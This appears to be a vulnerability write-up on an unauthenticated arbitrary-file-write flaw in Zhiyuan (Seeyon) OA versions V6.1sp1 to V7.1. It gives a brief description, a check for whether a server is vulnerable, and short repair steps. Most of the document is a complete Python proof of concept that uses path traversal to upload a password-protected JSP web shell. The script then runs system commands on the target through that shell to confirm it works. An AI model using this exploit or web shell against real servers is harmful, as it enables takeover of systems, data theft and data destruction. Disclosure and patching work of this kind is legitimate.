Recently, it has been revealed that some versions of Zhiyuan OA system have arbitrary file writing vulnerabilities. Remote attackers can write arbitrary files to the target server by post carefully constructed data to URL / seeyon / htmlofficeservlet without logging in. After writing successfully, they can execute arbitrary system commands to control the target server.
Currently known vulnerable versions:
Zhiyuan A8-V5 collaborative management software V6.1sp1
Zhiyuan A8 + collaborative management software V7.0, V7.0sp1, V7.0sp2, V7.0sp3
Zhiyuan A8 + collaborative management software V7.1
An attacker who successfully exploits this vulnerability can write arbitrary files, execute arbitrary code, change or delete data on the target system.
It is worth noting that the default permission of the system is very high, and it may cause great harm if it is successfully used by the attacker.
Method to verify whether there is a vulnerability: access URL /seeyon/htmlofficeservlet may have the following content vulnerability
DBSTEP V3.0 0 21 0 htmoffice operate err
Here is a section of wild poc:
This poc is only for study and research, please do not damage other computers!
Poc first encrypts the path to write to the file, and then obtains the encrypted path to write to any file Getshell
python:
1 #coding=utf-8 2 import sys 3 import requests 4 5 def encode(origin_bytes): 6 """ 7 Restructure base64 Encoding function 8 """ 9 # Every one will be bytes Convert to binary string 10 base64_charset = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6" 11 base64_bytes = ['{:0>8}'.format(bin(ord(b)).replace('0b', '')) for b in origin_bytes] 12 13 resp = '' 14 nums = len(base64_bytes) // 3 15 remain = len(base64_bytes) % 3 16 17 integral_part = base64_bytes[0:3 * nums] 18 while integral_part: 19 # Take three bytes, convert to four integers every six bits 20 tmp_unit = ''.join(integral_part[0:3]) 21 tmp_unit = [int(tmp_unit[x: x + 6], 2) for x in [0, 6, 12, 18]] 22 # Take corresponding base64 character 23 resp += ''.join([base64_charset[i] for i in tmp_unit]) 24 integral_part = integral_part[3:] 25 26 if remain: 27 # Make up three bytes, and make up 0000 0000 for each byte 28 remain_part = ''.join(base64_bytes[3 * nums:]) + (3 - remain) * '0' * 8 29 # Take three bytes, convert to four integers every six bits 30 # 2 can be constructed with 1 byte left base64 Characters, supplementary==;The remaining 2 bytes can construct 3 base64 Characters, supplementary= 31 tmp_unit = [int(remain_part[x: x + 6], 2) for x in [0, 6, 12, 18]][:remain + 1] 32 resp += ''.join([base64_charset[i] for i in tmp_unit]) + (3 - remain) * '=' 33 34 return resp 35 def getshell(urls): 36 url = urls + "/seeyon/htmlofficeservlet" 37 headers = { 38 "Pragma": "no-cache", 39 "Cache-Control": "no-cache", 40 "Upgrade-Insecure-Requests": "1", 41 "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36", 42 "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", 43 "Accept-Language": "zh-CN,zh;q=0.9", 44 "Connection": "close", 45 } 46 file_name = encode('..\\..\\..\\ApacheJetspeed\\webapps\\seeyon\\checkload32.jsp') 47 payload = """DBSTEP V3.0 355 0 666 DBSTEP=OKMLlKlV\r 48 OPTION=S3WYOSWLBSGr\r 49 currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66\r 50 CREATEDATE=wUghPB3szB3Xwg66\r 51 RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6\r 52 originalFileId=wV66\r 53 originalCreateDate=wUghPB3szB3Xwg66\r 54 FILENAME="""+file_name+"""\r 55 needReadFile=yRWZdAS6\r 56 originalCreateDate=wLSGP4oEzLKAz4=iz=66\r 57 <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("zs".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce""" 58 requests.post(url=url,data=payload,headers=headers) 59 result = requests.get(urls + "/seeyon/checkload32.jsp?pwd=zs&cmd=cmd+/c+echo+ZuoShou_Jsp_Shell") 60 if 'ZuoShou_Jsp_Shell' in result.text : 61 print(u'Jsp: Getshell Success\t{}'.format(urls + "/seeyon/checkload32.jsp?pwd=zs&cmd=cmd /c whoami")) 62 else : 63 print(u'Getshell fail') 64 if __name__ == '__main__': 65 if len(sys.argv)!=2 : 66 print(u"\t\t Usage: python poc.py 'http://loaclhost'") 67 else: 68 url = sys.argv[1] 69 getshell(url)
Repair plan:
1: restrict access to the path / seeyon/htmlofficeservlet
2: contact the official website in time to patch http://www.seeyon.com/Info/constant.html